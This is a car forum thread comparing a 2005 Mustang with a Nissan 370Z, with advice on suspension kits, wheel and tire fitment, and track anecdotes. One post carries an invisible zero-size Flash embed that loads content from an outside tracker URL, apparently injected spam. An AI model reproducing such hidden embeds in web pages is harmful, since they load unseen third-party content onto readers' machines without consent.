Test drove a 370z and 05 Stang!!!

[WallyKilla]

Well I always have a thing for Mustangs so i am biased LOL Straight line I like how the mustang pulls better. But in the twisties the 370 feels more solid and was wondering whta can i upgrade to take out the 370z handling aspect???? Thanx in advance.

 

[lightblade]

Um everything lol, there is an aftermarket product for every aspect and tons of options for suspension to easily outperform almost everything on the road with a live axle.

 

[MarcZ]

Well a 2010 Mustang with the Track Pack would have been a better comparison, or a 350z but I realize that you can't test drive any car you want....just sayin.

The Saleen is a nicely set up car, look at it's specs and go from there. Sway bars, shocks, etc. Lots of companies - Racecraft, Steeda, and more are mustang specific too.

 

[ViperNuge]

Two very different cars IMO. Mustang is a straight up muscle car built with HP in mind, nissan is a refined "affordable" sports car built for handling. Aftermarket for the stang is gonna be way cheaper and plentyful. Nissan aftermarket is gonna be pricey and limited compared to the stang IMO.

The Z's are cool cars, I like the way they look.............but IMO your comparing apples to oranges.

I raced a Z at the track last month...........dont know year mods etc....but I crushed him bad. Even had guys come up to me and talk about how I beat him.......they didnt like the Z car! LOL

patrick

 

[ReverseTime]

Well I always have a thing for Mustangs so i am biased LOL Straight line I like how the mustang pulls better. But in the twisties the 370 feels more solid and was wondering whta can i upgrade to take out the 370z handling aspect???? Thanx in advance.

Really depends on how far you're looking to go.

I've not driven a 370Z, but I can tell you that a set of Koni Yellows mated with springs will make a huge difference. Some suspension travel is fine, so going with the slammed look may actually hurt more than help.

All the other basics: LCAs, brackets, UCA, Adj. PHB/brace, and swaybar would plant the rear. Front is pretty tight as it is, but you could opt in for the a-arm brace that didn't come factory on 05 to my knowledge. Strut tower braces are more of a looks mod on these cars. Camber plates can help if you know what you're doing. Watts link is always out there too.

Other than that, fat, sticky tires. Staggered looks good, but creates understeer. I thought I read somewhere that we can actually get a 18x10 w/275 on the front without rubbing. 275 on all four corners,

 

[ct07gt]

I have 275/40/18s front and rear on 18x10 wheels. No rubbing problems at all with the Roush suspension.

 

[walter]

watts link control arms and suspension kit i have a 350z with a coilovers and that evened out the score big time. i just wish i can add more wheel and tire to seal the deal im really under-tired right now on the stockers.

 

[Mr_Q]

Watch SCCA and see how a properly tuned Mustang walks all over BMWs, Mclarens, 911s, Audis, Saabs, and yes a 370z.

ANY car can be made to handle better than the other. But really, it comes down to the driver. And since most of us are not pro racers, all the aftermarket help we can get to make out cars more 2:1 instead of .9:1 or even 1:1 is welcome.

I've passed all the above out at the track in my modest Shelby. Of course I've also BEEN PAST by Kia's and Honda Fits. :\

 

[sbreaux26]

Well I always have a thing for Mustangs so i am biased LOL Straight line I like how the mustang pulls better. But in the twisties the 370 feels more solid and was wondering whta can i upgrade to take out the 370z handling aspect???? Thanx in advance.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4730"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4730" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

I have an 09 stang and an 07 BMW 328i. The BMW has zero body roll on turns whereas my stang roles a bit. I think with a new suspesion package you could elimate that. I should get my Steeda pak on in a few weeks.

 

[walter]

Watch SCCA and see how a properly tuned Mustang walks all over BMWs, Mclarens, 911s, Audis, Saabs, and yes a 370z.

ANY car can be made to handle better than the other. But really, it comes down to the driver. And since most of us are not pro racers, all the aftermarket help we can get to make out cars more 2:1 instead of .9:1 or even 1:1 is welcome.

I've passed all the above out at the track in my modest Shelby. Of course I've also BEEN PAST by Kia's and Honda Fits. :\

So true. I recall smoking a Lancer Evo VIII with my old 240sx and getting my behind handed to me by a Honda Fit at the same event. Driver skill > Money.

 

[Mr_Q]

So true. I recall smoking a Lancer Evo VIII with my old 240sx and getting my behind handed to me by a Honda Fit at the same event. Driver skill > Money.

LOL! That's awesome. You're making me miss track days even more. Man I remember I was behind a EVO X for like 3 laps...FINALLY he just couldn't handle me back there and he went too hot in to a long decreasing apex turn and went straight off. Man that felt good, heh. (mainly because I knew I was never getting around this guy)

 

[Sparty92]

I have 275/40/18s front and rear on 18x10 wheels. No rubbing problems at all with the Roush suspension.

Which stage Roush did you put on your car? I'm debating between the stage 2 or 3, or the FRPP set up. I have no plans for a blower of any type anytime soon (read, yeaaars), and will just be going with basic bolt-on stuff for now. I know the Stage 3 was designed to be used with the Roushcharger.

I also read somewhere (FRPP catalog?) that to run a 18x10 wheel (Roush) with a 275 in the front, you needed to put steering limiters on the rack. Also needed with the GT500 wheel (according to the FRPP parts catalog). Did you do anything to eliminate rub?

Thanks!

 

[walter]

LOL! That's awesome. You're making me miss track days even more. Man I remember I was behind a EVO X for like 3 laps...FINALLY he just couldn't handle me back there and he went too hot in to a long decreasing apex turn and went straight off. Man that felt good, heh. (mainly because I knew I was never getting around this guy)

Cheap feeling but when funds are at an all time low (like they are with me now) i turn to simracing as my fix until I'll be able to take it to the next track event.

 

[ct07gt]

Which stage Roush did you put on your car? I'm debating between the stage 2 or 3, or the FRPP set up. I have no plans for a blower of any type anytime soon (read, yeaaars), and will just be going with basic bolt-on stuff for now. I know the Stage 3 was designed to be used with the Roushcharger.

I also read somewhere (FRPP catalog?) that to run a 18x10 wheel (Roush) with a 275 in the front, you needed to put steering limiters on the rack. Also needed with the GT500 wheel (according to the FRPP parts catalog). Did you do anything to eliminate rub?

Thanks!

I have the Stage 2 kit, which is set up for Roush's cast wheels (18x10) with no supercharger. The second part is a little weird since this suspension is on the 427R. The Stage 3 kit is for the Roush forged wheels and supercharger, which is on the Stage 3 car. The Trak Pak coilovers just went on sale as well down to like $1500, which is about $1000 off. I would probably buy that kit if I was starting over, but I have just gotten into autocross a little. You will not need any steering limiters with 275/40/18 tires unless the offset is different on the wheel you are looking at. I guess you might be able to get it to rub at full lock going over a big bump. Never had it happen in the 2.5 years I've had the car.

 

[Sparty92]

I have the Stage 2 kit, which is set up for Roush's cast wheels (18x10) with no supercharger. The second part is a little weird since this suspension is on the 427R. The Stage 3 kit is for the Roush forged wheels and supercharger, which is on the Stage 3 car. The Trak Pak coilovers just went on sale as well down to like $1500, which is about $1000 off. I would probably buy that kit if I was starting over, but I have just gotten into autocross a little. You will not need any steering limiters with 275/40/18 tires unless the offset is different on the wheel you are looking at. I guess you might be able to get it to rub at full lock going over a big bump. Never had it happen in the 2.5 years I've had the car.

For the life of me, I really can understand how much forged vs. cast wheels is going to change your suspension (Mr. Roush). I mean, yeah, forged is lighter (and the ones I want!)...and I guess I can see how a SC is gonna weigh more in the front...sigh....

Anyway...

How do you like the stage 2? I would get forged wheels (if I can afford it)...which I doubt will change anything with the stage 2 setup.

The coilover price (if that's true) is a great deal! But, living in Michigan, my Mustang is a daily driver (right now). I'd hate to get salt and crud in the threads of the coilovers!

I don't mind getting a "finished" suspension set up like the stage 2-3. New dampers tuned to springs...roll bars....etc. Designed to work as a team, and no fiddling required!

 

[ct07gt]

I like the Stage 2, I live in New England where the roads aren't great either and I don't ever feel like the suspension is too stiff. The Trak Pak forged wheels would look good on a silver car, they are the dark grey finish ones. They aren't that much more than the cast wheels, I have seen them for $465, the cheapest I have seen the chrome ones is $550. Not sure why you would think the $1500 for the coilovers wouldnt be true, here they are, ROUSH Performance: ROUSH Ford Mustang Trak Pak Suspension System